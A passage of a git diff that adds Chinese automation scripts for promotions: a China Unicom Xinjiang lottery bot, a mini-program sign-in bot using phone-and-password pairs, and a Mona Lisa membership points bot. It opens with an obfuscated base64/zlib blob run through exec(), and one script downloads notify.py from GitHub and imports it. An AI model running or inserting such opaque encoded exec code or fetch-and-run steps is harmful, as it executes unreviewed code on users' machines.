2+pB7v2NxJE6Q3z+nsliwHvwqo6SxCS7J5/m0Sa43TbCntRZ27qTWEpBYrmjzoylEeSF06zDa+URJ7Hrij6uK96/NYvjNNwQow0I7t241xFhlVNtJyijVezqMK8Sqp5jG0STI0aFGFABpXQUPnkn0jDIJ0McOwOPMQF4N7QCcRPNS2XFd2dPdHV+vquWEEGzBmK+alv+BRxiBhrwJe2bTi47DzMqvxCnYYNSG3HGx+kJ2erVEeRaDfr+83n+h6VYKX3O1xlQdP4BMdH8jB/8zdxEFcR4hKTdqSXh5JVFO1ghw34vVz0VCE2UFl/N85RwVfJFRTet/3E3yZpV9eXd2L0rSb3rYfZWg9qhWNWInaQxUM8UuzhGBLM8CDuULTb+vYHaXIgV5hOTBL+AlBpcPTQ3Y8WAAA=","WydiYXNlNjInLCAnemxpYicsICd6bGliJywgJ3psaWInLCAnZ3ppcCdd";o=eval(base64.b64decode(b).decode())
+try:exec(d(base64.b64decode(e),o))
+except Exception as x:print(f"Error:{x}")
\ No newline at end of file
diff --git a/新疆联通1104.py b/新疆联通1104.py
new file mode 100644
index 0000000..15df593
--- /dev/null
+++ b/新疆联通1104.py
@@ -0,0 +1,388 @@
+# 解析 ZY100_USER_TOKEN (格式: TOKEN1&REMARK1@TOKEN2@TOKEN3 或 多行输入)
+# SCRIPT_NAME = "新疆联通开盒子 V1.2 (by:转变)"
+# 变量值抓取”userToken“字段,userToken有效期 3天
+import requests
+import json
+import os
+import sys
+import time
+import random
+from datetime import datetime
+from typing import List, Dict, Any
+import base64 # <-- 新增: 用于解码 JWT Token
+import re # <-- 新增: 用于检查手机号格式
+
+# 引入青龙环境下的通用通知模块
+try:
+ from notify import send
+except ImportError:
+ def send(title, content):
+ sys.stdout.write(f"\n【通知模块缺失,仅打印结果】{title}:\n{content}\n")
+
+# --- 辅助函数 ---
+
+def get_phone_from_token(token: str) -> str:
+ """尝试从JWT token中提取手机号,用于生成默认备注 (脱敏格式: ****)"""
+ try:
+ # JWT 结构: header.payload.signature, 提取 payload 部分
+ parts = token.split('.')
+ if len(parts) != 3:
+ return ""
+
+ # Base64URL 解码需要手动添加 padding
+ payload_b64 = parts[1]
+ padding = '=' * (4 - (len(payload_b64) % 4))
+ # 使用 urlsafe_b64decode 处理 Base64URL 编码
+ decoded_payload = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
+
+ # 解析 JSON 查找 'user_phone' 或 'sub'
+ payload_data = json.loads(decoded_payload)
+ phone = payload_data.get('user_phone') or payload_data.get('sub')
+
+ # 确保提取的是一个有效的手机号格式
+ if phone and re.match(r'^\d{11}$', str(phone)):
+ # 返回脱敏后的手机号
+ return str(phone)[:3] + '****' + str(phone)[7:]
+
+ except Exception:
+ # 如果解析失败(不是JWT或格式错误),返回空字符串
+ return ""
+
+ return ""
+
+
+# --- 全局配置 ---
+SCRIPT_NAME = "新疆联通开盒子 V1.2 (by:转变)"
+
+# 关键配置:单账号尝试次数
+# 用户请求将默认值修改为 '1'
+ATTEMPT_COUNT = int(os.environ.get("UNICOM_ATTEMPT_COUNT", "1"))
+
+# API配置
+DRAW_URL = "https://zy100.xj169.com/touchpoint/openapi/marchAct/draw_Nov2025Act"
+DRAW_PAYLOAD = {
+ 'activityId': "Nov2025Act",
+ 'prizeId': ""
+}
+
+# 获取奖品详情的API配置
+PRIZE_DETAIL_URL = "https://zy100.xj169.com/touchpoint/openapi/drawAct/getMyPrize"
+PRIZE_DETAIL_PAYLOAD = {
+ 'activityId': "Nov2025Act"
+}
+
+# --- 账号解析逻辑 (支持备注/灵活格式) ---
+ACCOUNT_LIST: List[Dict[str, str]] = []
+
+# 1. 解析 ZY100_USER_TOKEN (格式: TOKEN1&REMARK1@TOKEN2@TOKEN3 或 多行输入)
+ALL_TOKENS_RAW = os.environ.get("ZY100_USER_TOKEN", "")
+
+# V15.3 改进: 统一分隔符。将所有换行符替换为 '@',并清理多余的 '@'。
+ALL_TOKENS_RAW = ALL_TOKENS_RAW.replace('\n', '@').replace('\r', '').replace('@@', '@')
+if ALL_TOKENS_RAW.startswith('@'):
+ ALL_TOKENS_RAW = ALL_TOKENS_RAW[1:]
+
+for t_r in ALL_TOKENS_RAW.split('@'):
+ t_r = t_r.strip()
+ if not t_r:
+ continue
+
+ parts = t_r.split('&', 1) # 只分割一次,以支持备注中包含&
+ token = parts[0]
+
+ # 尝试从 token 提取手机号作为默认备注的基础
+ phone_suffix = get_phone_from_token(token)
+
+ # 如果提取到手机号,使用脱敏手机号作为默认备注,否则使用通用Account
+ default_remark = phone_suffix if phone_suffix else f"Account {len(ACCOUNT_LIST) + 1} (Main)"
+
+
+ # 如果提供了 & 分隔的备注,则使用;否则使用基于手机号或通用Account的默认备注
+ remark = parts[1] if len(parts) > 1 else default_remark
+
+ # 避免重复的 token
+ if token and token not in [acc['token'] for acc in ACCOUNT_LIST]:
+ ACCOUNT_LIST.append({"token": token, "remark": remark})
+
+# 2. 解析 indexed 变量 (ZY100_USER_TOKEN_1, ZY100_REMARK_1)
+i = 1
+while os.environ.get(f"ZY100_USER_TOKEN_{i}"):
+ # 获取 token,并检查是否内联了备注
+ raw_token_value = os.environ.get(f"ZY100_USER_TOKEN_{i}", "").strip()
+
+ # V15.3 改进: 确保 indexed 变量也支持内嵌换行符
+ raw_token_value = raw_token_value.replace('\n', '@').replace('\r', '').replace('@@', '@')
+
+
+ parts = raw_token_value.split('&', 1)
+ token = parts[0].split('@')[0] # 只需要第一个 token,避免多行 token 影响
+
+ # 尝试从 token 提取手机号作为默认备注的基础
+ phone_suffix = get_phone_from_token(token)
+ default_remark = phone_suffix if phone_suffix else f"Account {len(ACCOUNT_LIST) + 1} (Indexed {i})"
+
+ # 优先使用独立的 ZY100_REMARK_i 变量
+ explicit_remark = os.environ.get(f"ZY100_REMARK_{i}", "").strip()
+
+ if explicit_remark:
+ remark = explicit_remark
+ elif len(parts) > 1: # 其次使用内联在 token 中的备注
+ remark = parts[1]
+ else: # 最后使用基于手机号的默认备注或通用默认备注
+ remark = default_remark
+
+ # 避免重复的 token
+ if token and token not in [acc['token'] for acc in ACCOUNT_LIST]:
+ ACCOUNT_LIST.append({"token": token, "remark": remark})
+
+ i += 1
+
+# --- 脚本函数 (以下内容与 V15.1 保持一致) ---
+
+def write_log(text):
+ """自定义日志写入函数"""
+ sys.stdout.write(text + "\n")
+
+def get_prize_details(user_token, remark, activity_id="Nov2025Act"):
+ """
+ 获取奖品详情信息
+ 返回: (是否成功, 日志字符串, 奖品详情字典)
+ """
+ log_messages = [f"--- 👤 账号备注: {remark} 的奖品详情 ---"]
+ prize_details = {}
+
+ headers = {
+ 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0701};ltst;OSVersion/16.2",
+ 'Origin': "https://zy100.xj169.com",
+ 'Referer': "https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=...",
+ 'X-Requested-With': "XMLHttpRequest",
+ 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8',
+ 'Accept': '*/*',
+ 'Accept-Language': 'zh-CN,zh-Hans;q=0.9',
+ 'userToken': user_token,
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Connection': 'keep-alive'
+ }
+
+ payload = {
+ 'activityId': activity_id
+ }
+
+ try:
+ response = requests.post(PRIZE_DETAIL_URL, data=payload, headers=headers, timeout=10)
+
+ if response.status_code != 200:
+ log_messages.append(f"❌ 获取奖品详情失败,HTTP 状态码: {response.status_code}")
+ return False, "\n".join(log_messages), {}
+
+ try:
+ res_json = response.json()
+ except json.JSONDecodeError:
+ log_messages.append(f"⚠️ 奖品详情响应不是有效的 JSON 格式。")
+ return False, "\n".join(log_messages), {}
+
+ if res_json.get("code") == 0 or res_json.get("code") == "SUCCESS":
+ data = res_json.get('data', [])
+
+ # 确保 data 是列表,即使只返回一个奖品
+ if isinstance(data, dict):
+ data = [data]
+
+ if data:
+ prize_details = data
+ log_messages.append(f"🎁 成功查询到 {len(data)} 个奖品记录:")
+
+ # 格式化奖品详情信息,只显示prizeId和drawDate
+ for i, prize in enumerate(data, 1):
+ prize_id = prize.get('prizeId', '未知奖品')
+ draw_date_timestamp = prize.get('drawDate', 0)
+
+ # 转换时间戳为可读格式
+ draw_date = '未知时间'
+ if draw_date_timestamp:
+ try:
+ draw_date = datetime.fromtimestamp(draw_date_timestamp / 1000).strftime('%Y-%m-%d %H:%M:%S')
+ except:
+ draw_date = str(draw_date_timestamp)
+
+ log_messages.append(f" ├── 奖品 {i}: {prize_id}")
+ log_messages.append(f" └── 获得时间: {draw_date}")
+
+ else:
+ log_messages.append("📝 当前暂无奖品记录。")
+ else:
+ log_messages.append(f"⚠️ 获取奖品详情失败: {res_json.get('msg', '未知错误')}")
+ # 如果失败,显示原始响应以便调试
+ if res_json.get('code') not in [0, "SUCCESS"]:
+ log_messages.append(json.dumps(res_json, indent=2, ensure_ascii=False))
+
+ except requests.exceptions.RequestException as e:
+ log_messages.append(f"❌ 获取奖品详情时网络请求异常: {e}")
+
+ return True, "\n".join(log_messages), prize_details
+
+def perform_single_draw(user_token):
+ """
+ 单个抽奖请求逻辑,只执行一次
+ 返回: (是否需要终止所有尝试的布尔值, 日志字符串, 状态码)
+ """
+ log_messages = []
+ status = 'continue'
+
+ headers = {
+ 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0701};ltst;OSVersion/15.2",
+ 'Origin': "https://zy100.xj169.com",
+ 'Referer': "https://zy100.xj169.com/touchpoint/openapi/jumpHandRoom1G?source=...",
+ 'X-Requested-With': "XMLHttpRequest",
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Accept': 'application/json, text/plain, */*',
+ 'userToken': user_token,
+ 'Accept-Language': "zh-CN,zh-Hans;q=0.9"
+ }
+
+ try:
+ response = requests.post(DRAW_URL, data=DRAW_PAYLOAD, headers=headers, timeout=10)
+
+ if response.status_code != 200:
+ log_messages.append(f"❌ 请求失败,HTTP 状态码: {response.status_code}")
+ else:
+ try:
+ res_json = response.json()
+ except json.JSONDecodeError:
+ log_messages.append(f"⚠️ 响应不是有效的 JSON 格式。")
+ return False, "\n".join(log_messages), status
+
+ # 检查:请求频率过高 (立即终止)
+ if res_json.get("code") == 500 and "频率过高" in res_json.get("msg", ""):
+ log_messages.append("❌ 错误代码 500: 请求频率过高,强制终止!")
+ status = 'rate_limit'
+
+ # 检查:缺少参数错误(Token 失效)
+ elif res_json.get("code") == 500 and "缺少参数" in res_json.get("msg", ""):
+ log_messages.append("⚠️ 错误代码 500: Token 无效或已过期!终止尝试。")
+ status = 'invalid_token'
+
+ # 匹配:今日抽奖机会已用完
+ elif res_json.get("code") == "ERROR" and res_json.get("msg") == "thanks1":
+ info = res_json.get('data', '未知信息')
+ log_messages.append(f"✅ 抽奖机会状态: 今日已抽完。信息: {info}")
+ status = 'done' # 标记为完成,以便停止后续尝试
+
+ # 匹配:成功中奖
+ elif res_json.get("code") == "SUCCESS":
+ prize_name = res_json.get('data', '恭喜中奖')
+ log_messages.append(f"🎉 抽奖中奖!结果: {prize_name}")
+ status = 'won'
+
+ # 其他非预期响应
+ else:
+ log_messages.append("⚠️ 收到其他非预期响应:")
+ log_messages.append(json.dumps(res_json, indent=2, ensure_ascii=False))
+
+ except requests.exceptions.RequestException as e:
+ log_messages.append(f"❌ 网络请求异常发生: {e}")
+
+ return False, "\n".join(log_messages), status
+
+def run_sign_in():
+ """主执行逻辑:多账号串行处理,单账号中延迟多次尝试"""
+
+ all_results = [f"【{SCRIPT_NAME}】\n执行时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"]
+
+ if not ACCOUNT_LIST:
+ error_msg = "❌ 错误:环境变量 ZY100_USER_TOKEN(s) 未配置或为空。"
+ all_results.append(error_msg)
+ write_log(error_msg)
+ return "\n".join(all_results)
+
+ write_log(f"✅ 成功检测到 {len(ACCOUNT_LIST)} 个账号,每个账号将被串行尝试 {ATTEMPT_COUNT} 次...")
+ # 当尝试次数为 1 时,此行日志无意义
+ if ATTEMPT_COUNT > 1:
+ write_log(f"每次尝试之间将随机延迟 0.5 秒到 1.5 秒。")
+
+ final_push_messages = []
+
+ for idx, acc in enumerate(ACCOUNT_LIST, 1):
+ token = acc['token']
+ remark = acc['remark']
+ account_log_buffer = [] # 存储当前账号的详细日志
+ account_final_status = "未尝试"
+
+ account_header = f"\n\n================ 👤 账号 {idx}/{len(ACCOUNT_LIST)} [备注: {remark}] 开始执行 ================"
+ write_log(account_header)
+ account_log_buffer.append(account_header)
+
+ for attempt in range(ATTEMPT_COUNT):
+ log_header = f"--- 尝试次数 {attempt + 1}/{ATTEMPT_COUNT} ---"
+ write_log(log_header)
+ account_log_buffer.append(log_header)
+
+ _, result_log, status = perform_single_draw(token)
+ write_log(result_log)
+ account_log_buffer.append(result_log)
+
+ # 更新最终状态,如果成功中奖/已抽完/致命错误,则中断
+ if status == 'done':
+ account_final_status = "今日机会已用完"
+ break
+ elif status == 'won':
+ account_final_status = "✅ 中奖成功"
+ break
+ elif status == 'invalid_token':
+ account_final_status = "❌ Token 无效或过期"
+ break
+ elif status == 'rate_limit':
+ account_final_status = "❌ 请求频率过高"
+ break
+ else:
+ account_final_status = "抽奖失败/未中奖"
+
+ # 如果不是最后一次尝试(并且尝试次数大于 1),引入延迟
+ if ATTEMPT_COUNT > 1 and attempt < ATTEMPT_COUNT - 1 and status not in ['done', 'won']:
+ wait_time = random.uniform(0.5, 1.5)
+ write_log(f"等待 {wait_time:.3f} 秒后进行下一次尝试...")
+ time.sleep(wait_time)
+
+ # --- 任务结束:获取奖品详情并汇总 ---
+ write_log(f"\n--- 账号 {idx} 抽奖完成,获取奖品详情 ---")
+ detail_success, detail_log, prize_details = get_prize_details(token, remark)
+ write_log(detail_log)
+ account_log_buffer.append(detail_log)
+
+ write_log(f"================ 👤 账号 {idx} [备注: {remark}] 执行完毕 (状态: {account_final_status}) ================")
+ account_log_buffer.append(f"================ 状态: {account_final_status} ================")
+
+ # 将当前账号的详细日志加入总日志
+ all_results.extend(account_log_buffer)
+
+ # 构造推送消息摘要
+ detail_summary_lines = [line for line in detail_log.splitlines() if line.startswith((' ├──', ' └──'))]
+ detail_summary = "\n".join(detail_summary_lines)
+ if not detail_summary_lines:
+ # 检查是否有“暂无奖品记录”的提示
+ if "暂无奖品记录" in detail_log:
+ detail_summary = "📝 当前暂无奖品记录。"
+ else:
+ detail_summary = "❌ 奖品查询失败,请检查日志。"
+
+ final_push_messages.append(f"👤 [备注: {remark}] 状态: {account_final_status}\n{detail_summary}\n" + "-"*30)
+
+ # 账号切换间歇休息 1-2 秒
+ time.sleep(random.uniform(1.0, 2.0))
+
+ final_log_content = "\n".join(all_results)
+ final_notification = f"【{SCRIPT_NAME}】\n执行时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n--- 🛎️ 执行摘要 (按备注区分) 🛎️ ---\n" + "\n".join(final_push_messages)
+
+ write_log("\n--- 推送日志开始 ---")
+ write_log(final_notification)
+ write_log("--- 推送日志结束 ---")
+
+ return final_notification
+
+if __name__ == "__main__":
+
+ # 1. 执行任务并获取推送内容
+ push_content = run_sign_in()
+
+ # 2. 使用通用的 send 函数进行推送
+ send(SCRIPT_NAME, push_content)
\ No newline at end of file
diff --git a/桃色Vip.py b/桃色Vip.py
new file mode 100644
index 0000000..0104648
--- /dev/null
+++ b/桃色Vip.py
@@ -0,0 +1,226 @@
+"""
+# 入口:#小程序://趣网/lRVlzUzgEHjTdYx
+# 变量名:Ts
+# 变量值:手机号&密码 多号换行
+# by:重庆第一深情
+#注:打开小程序,用微信登录,然后授权手机号,然后继续修改资料下面有个修改密码
+#这个修改密码入口时有时无,只有自己多试一下,不行就注销再试
+"""
+
+import os
+import sys
+import json
+import requests
+import time
+import datetime
+import secrets
+import string
+import random
+from notify import send
+
+print(f"++++++++++桃色程序开始启动++++++++++\n")
+
+def process_account(username, password):
+ """处理单个账号的签到和任务"""
+ print(f"\n======= 处理账号: {username} =======")
+
+ login_url = "https://wxapp.lllac.com/xqw/login.php"
+ checkin_url = "https://wxapp.lllac.com/xqw/user_mall.php"
+ USER_AGENT = "Mozilla/5.0 (Linux; Android 15; PKG110 Build/UKQ1.231108.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380215 MMWEBSDK/20250904 MMWEBID/6169 MicroMessenger/8.0.64.2940(0x28004034) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"
+
+ timpstamp = int(time.time() * 1000)
+ ssid = ''.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(32))
+ nums = random.sample(range(2000, 20000), 3)
+ pcid, rxid, xpid = nums
+
+ # 登录
+ payload = {
+ 'act': "login",
+ 'u_name': username,
+ 'u_pass': password,
+ 'session_id': ssid
+ }
+
+ headers = {
+ 'User-Agent': USER_AGENT,
+ 'timpstamp': str(timpstamp),
+ 'charset': "utf-8",
+ 'Referer': "https://servicewechat.com/wxb96c32e3d2d4b224/102/page-frame.html",
+ 'Cookie': f"SSID={ssid}"
+ }
+
+ try:
+ # 登录请求
+ dl = requests.post(login_url, data=payload, headers=headers, timeout=10)
+ login_result = json.loads(dl.text)
+ msg = login_result.get("msg", "未知状态")
+ print(f"👤手机号:{username}")
+ print(f"💎登录状态:{msg}")
+
+ # 签到
+ qdparams = {
+ 'act': 'signToday',
+ 'ssid': ssid
+ }
+
+ qdheaders = {
+ 'User-Agent': USER_AGENT
+ }
+
+ qd = requests.post(checkin_url, data=qdparams, headers=qdheaders, timeout=10)
+ qd_result = json.loads(qd.text)
+ qdmsg = qd_result.get("msg", "未知状态")
+ print(f"📅签到:{qdmsg}")
+
+ # 每周一次任务,默认周一运行
+ is_monday = datetime.datetime.now().weekday() == 0
+ result = {
+ 'username': username,
+ 'login_status': msg,
+ 'checkin_status': qdmsg,
+ 'weekly_tasks': []
+ }
+
+ if is_monday:
+ pcurl = f"https://wxapp.lllac.com/xqw/ch_article_info.php?id={pcid}&channel=quwang&qudao=wapdlxcx&version=182&f=gyg_c3_tab0&act=task"
+ rxurl = f"https://wxapp.lllac.com/xqw/goods_v2.php?act=task&id={rxid}&channel=quwang&qudao=wapdlxcx&spm=x.hot.g&type=29"
+ xpurl = f"https://wxapp.lllac.com/xqw/goods_v2.php?act=task&id={xpid}&channel=quwang&qudao=wapdlxcx&spm=x.new.g3&type=28"
+
+ pcheaders = {
+ 'User-Agent': USER_AGENT,
+ 'Cookie': f"SSID={ssid}"
+ }
+
+ try:
+ xp = requests.post(xpurl, headers=pcheaders, timeout=10)
+ xp_result = json.loads(xp.text)
+ xpmsg = xp_result.get("msg", "未知状态")
+ print(f"❤️每周新品:{xpmsg}")
+ result['weekly_tasks'].append(f"每周新品:{xpmsg}")
+ except Exception as e:
+ xpmsg = f"请求失败: {str(e)}"
+ print(f"❤️每周新品:{xpmsg}")
+ result['weekly_tasks'].append(f"每周新品:{xpmsg}")
+
+ try:
+ rx = requests.post(rxurl, headers=pcheaders, timeout=10)
+ rx_result = json.loads(rx.text)
+ rxmsg = rx_result.get("msg", "未知状态")
+ print(f"🧡每周热销:{rxmsg}")
+ result['weekly_tasks'].append(f"每周热销:{rxmsg}")
+ except Exception as e:
+ rxmsg = f"请求失败: {str(e)}"
+ print(f"🧡每周热销:{rxmsg}")
+ result['weekly_tasks'].append(f"每周热销:{rxmsg}")
+
+ try:
+ pc = requests.post(pcurl, headers=pcheaders, timeout=10)
+ pc_result = json.loads(pc.text)
+ pcmsg = pc_result.get("msg", "未知状态")
+ print(f"💛每周评测:{pcmsg}")
+ result['weekly_tasks'].append(f"每周评测:{pcmsg}")
+ except Exception as e:
+ pcmsg = f"请求失败: {str(e)}"
+ print(f"💛每周评测:{pcmsg}")
+ result['weekly_tasks'].append(f"每周评测:{pcmsg}")
+
+ else:
+ print("❌当前时间不是周一,不执行每周任务")
+ result['weekly_tasks'] = ["当前时间不是星期一,不执行每周一次任务"]
+
+ return result
+
+ except Exception as e:
+ print(f"❌处理账号 {username} 时发生错误: {str(e)}")
+ return {
+ 'username': username,
+ 'login_status': f"处理失败: {str(e)}",
+ 'checkin_status': "未执行",
+ 'weekly_tasks': ["账号处理失败"]
+ }
+
+def main():
+ """主函数"""
+ Ts = os.getenv("Ts")
+ if not Ts:
+ print("❌未找到环境变量 Ts")
+ send("桃色Vip", "❌未找到环境变量 Ts")
+ return
+
+ # 分割账号,支持换行、#、和空格分隔
+ accounts = []
+ for separator in ['\n', '#', ' ', ';']:
+ if separator in Ts:
+ accounts = [acc.strip() for acc in Ts.split(separator) if acc.strip()]
+ break
+
+ # 如果没有找到分隔符,尝试直接处理
+ if not accounts:
+ accounts = [Ts.strip()]
+
+ # 过滤空账号
+ accounts = [acc for acc in accounts if acc]
+
+ if not accounts:
+ print("❌未找到有效的账号信息")
+ send("桃色Vip", "❌未找到有效的账号信息")
+ return
+
+ print(f"📝找到 {len(accounts)} 个账号")
+
+ all_results = []
+
+ for i, account in enumerate(accounts, 1):
+ print(f"\n🎯正在处理第 {i}/{len(accounts)} 个账号...")
+
+ # 解析账号格式:手机号&密码
+ if '&' in account:
+ username, password = account.split('&', 1)
+ username = username.strip()
+ password = password.strip()
+ else:
+ print(f"❌账号格式错误: {account}")
+ all_results.append({
+ 'username': account,
+ 'login_status': "账号格式错误",
+ 'checkin_status': "未执行",
+ 'weekly_tasks': ["账号格式错误,应为: 手机号&密码"]
+ })
+ continue
+
+ result = process_account(username, password)
+ all_results.append(result)
+
+ # 添加延迟,避免请求过于频繁
+ if i < len(accounts):
+ time.sleep(2)
+
+ # 生成汇总通知消息
+ is_monday = datetime.datetime.now().weekday() == 0
+ summary_msg = f"桃色Vip - 多账号运行结果\n"
+ summary_msg += f"📅执行时间: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"
+ summary_msg += f"📊处理账号数: {len(all_results)}\n\n"
+
+ for i, result in enumerate(all_results, 1):
+ summary_msg += f"🔹账号{i}: {result['username']}\n"
+ summary_msg += f" 登录: {result['login_status']}\n"
+ summary_msg += f" 签到: {result['checkin_status']}\n"
+
+ if is_monday and result['weekly_tasks']:
+ for task in result['weekly_tasks']:
+ summary_msg += f" {task}\n"
+ else:
+ summary_msg += f" 每周任务: 未执行(非周一)\n"
+
+ summary_msg += "\n"
+
+ print(f"\n++++++++++所有账号处理完成++++++++++")
+ print(f"📨正在发送通知...")
+
+ # 发送汇总通知
+ send("桃色Vip", summary_msg)
+
+ print(f"✅程序执行完成")
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/蒙娜丽莎会员.py b/蒙娜丽莎会员.py
new file mode 100644
index 0000000..9bf8133
--- /dev/null
+++ b/蒙娜丽莎会员.py
@@ -0,0 +1,194 @@
+"""
+微信扫码:https://img.meituan.net/portalweb/40d762a3e9eb4671bf76590d014ba0d0190451.jpg
+说明:
+ 签到获取积分,兑换实物。 变量名称:mnls
+ 抓包 webChatID
+"""
+
+import requests
+import os
+import sys
+import time
+import random
+import datetime
+from urllib.parse import quote
+
+# ================== 配置区 ==================
+NOTIFY = True # 是否推送通知
+SCT_KEY = "" # Server 酱 SendKey(推荐使用,最简单),填你的 SendKey,如 "SCTxxx"
+# ============================================
+
+def get_info(webChatID):
+ url = 'https://mcs.monalisagroup.com.cn/member/doAction'
+ headers = {
+ 'Host': 'mcs.monalisagroup.com.cn',
+ 'Connection': 'keep-alive',
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf2541113) XWEB/16771',
+ 'xweb_xhr': '1',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Accept': '*/*',
+ 'Sec-Fetch-Site': 'cross-site',
+ 'Sec-Fetch-Mode': 'cors',
+ 'Sec-Fetch-Dest': 'empty',
+ 'Referer': 'https://servicewechat.com/wxce6a8f654e81b7a4/450/page-frame.html',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Accept-Language': 'zh-CN,zh;q=0.9'
+ }
+ data = {
+ 'action': 'getCustomer',
+ 'webChatID': webChatID,
+ 'brand': 'MON'
+ }
+ try:
+ response = requests.post(url, headers=headers, data=data, timeout=10).json()
+ info = response['resultInfo'][0]
+ phone = info['Telephone']
+ customerid = info['CustomerID']
+ nickname = info['WebChatName']
+ integral = info['Integral']
+ return True, phone, customerid, nickname, integral
+ except Exception as e:
+ print('❌ 获取信息失败:', str(e))
+ return False, None, None, None, None
+
+
+def get_sign_in(customerid, nickname):
+ url = 'https://mcs.monalisagroup.com.cn/member/doAction'
+ headers = {
+ 'Host': 'mcs.monalisagroup.com.cn',
+ 'Connection': 'keep-alive',
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf2541113) XWEB/16771',
+ 'xweb_xhr': '1',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Accept': '*/*',
+ 'Sec-Fetch-Site': 'cross-site',
+ 'Sec-Fetch-Mode': 'cors',
+ 'Sec-Fetch-Dest': 'empty',
+ 'Referer': 'https://servicewechat.com/wxce6a8f654e81b7a4/450/page-frame.html',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Accept-Language': 'zh-CN,zh;q=0.9'
+ }
+ data = {
+ 'action': 'sign',
+ 'CustomerID': str(customerid),
+ 'CustomerName': quote(nickname),
+ 'StoreID': '0',
+ 'OrganizationID': '0',
+ 'Brand': 'MON',
+ 'ItemType': '002'
+ }
+ try:
+ response = requests.post(url, headers=headers, data=data, timeout=10).json()
+ if response['status'] == 0:
+ msg = f"✅ 签到成功,获得积分: {response['resultInfo']}"
+ else:
+ msg = "ℹ️ 签到失败,可能今日已签到"
+ return True, msg
+ except Exception as e:
+ print(f"❌ 请求异常: {str(e)}")
+ return False, f"请求异常: {str(e)}"
+
+
+def download_notify():
+ """下载 notify.py(青龙专用)"""
+ url = "https://raw.githubusercontent.com/whyour/qinglong/refs/heads/develop/sample/notify.py"
+ try:
+ response = requests.get(url, timeout=10)
+ response.raise_for_status()
+ with open("notify.py", "w", encoding="utf-8") as f:
+ f.write(response.text)
+ print("✅ notify.py 下载成功")
+ return True
+ except Exception as e:
+ print(f"❌ 下载 notify.py 失败: {str(e)}")
+ return False
+
+
+def send_notification(title, content):
+ """统一推送通知(优先使用 Server 酱 SCT)"""
+ if SCT_KEY:
+ try:
+ url = f"https://sctapi.ftqq.com/{SCT_KEY}.send"
+ data = {"title": title, "desp": content}
+ requests.post(url, data=data, timeout=10)
+ print("✅ Server 酱推送成功")
+ return
+ except Exception as e:
+ print(f"❌ Server 酱推送失败: {e}")
+
+ # 备用:青龙 notify.py
+ if NOTIFY:
+ try:
+ if not os.path.exists("notify.py"):
+ if not download_notify():
+ print("❌ 无法使用 notify.py 推送")
+ return
+ import notify
+ notify.send(title, content)
+ print("✅ 青龙 notify 推送成功")
+ except Exception as e:
+ print(f"❌ notify.py 推送失败: {str(e)}")
+
+
+def main():
+ # 读取环境变量
+ ck = os.environ.get("mnls")
+ if not ck:
+ print("❌ 请设置环境变量 mnls")
+ sys.exit()
+
+ # 延迟执行(5:01-6:59)
+ now = datetime.datetime.now().time()
+ start = datetime.time(5, 1)
+ end = datetime.time(6, 59)
+ if start <= now <= end:
+ delay = random.randint(100, 500)
+ print(f"⏰ 在 5:01-6:59 之间,延迟 {delay} 秒执行...")
+ time.sleep(delay)
+
+ accounts = [line.strip() for line in ck.split('\n') if line.strip()]
+ print(f"{' ' * 10}꧁༺ 蒙拉丽莎会员签到 ༻꧂\n")
+
+ log_msgs = [
+ f"📅 执行时间: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
+ f"📊 账号数量: {len(accounts)}",
+ "—" * 30
+ ]
+
+ for i, webChatID in enumerate(accounts, 1):
+ print(f'\n----------- 🍺 账号【{i}/{len(accounts)}】执行 🍺 -----------')
+ log_msg = f"【账号 {i}】"
+ try:
+ success, phone, customerid, nickname, integral = get_info(webChatID)
+ if success:
+ print(f"👤 昵称: {nickname}")
+ print(f"📞 电话: {phone}")
+ print(f"🆔 客户ID: {customerid}")
+ print(f"⭐ 当前积分: {integral}")
+
+ log_msg += f"\n👤 昵称: {nickname}\n📞 电话: {phone}\n🆔 客户ID: {customerid}\n⭐ 当前积分: {integral}"
+
+ # 签到
+ time.sleep(random.randint(1, 2))
+ sign_success, sign_msg = get_sign_in(customerid, nickname)
+ print(sign_msg)
+ log_msg += f"\n📝 {sign_msg}"
+ else:
+ log_msg += "\n❌ 获取信息失败"
+ except Exception as e:
+ print(f"❌ 执行异常: {str(e)}")
+ log_msg += f"\n❌ 执行异常: {str(e)}"
+ finally:
+ log_msgs.append(log_msg)
+
+ # 推送通知
+ if NOTIFY:
+ title = "蒙拉丽莎会员签到完成"
+ content = "\n".join(log_msgs)
+ send_notification(title, content)
+
+ print(f'\n🎉 执行结束,共 {len(accounts)} 个账号')
+
+
+if __name__ == '__main__':
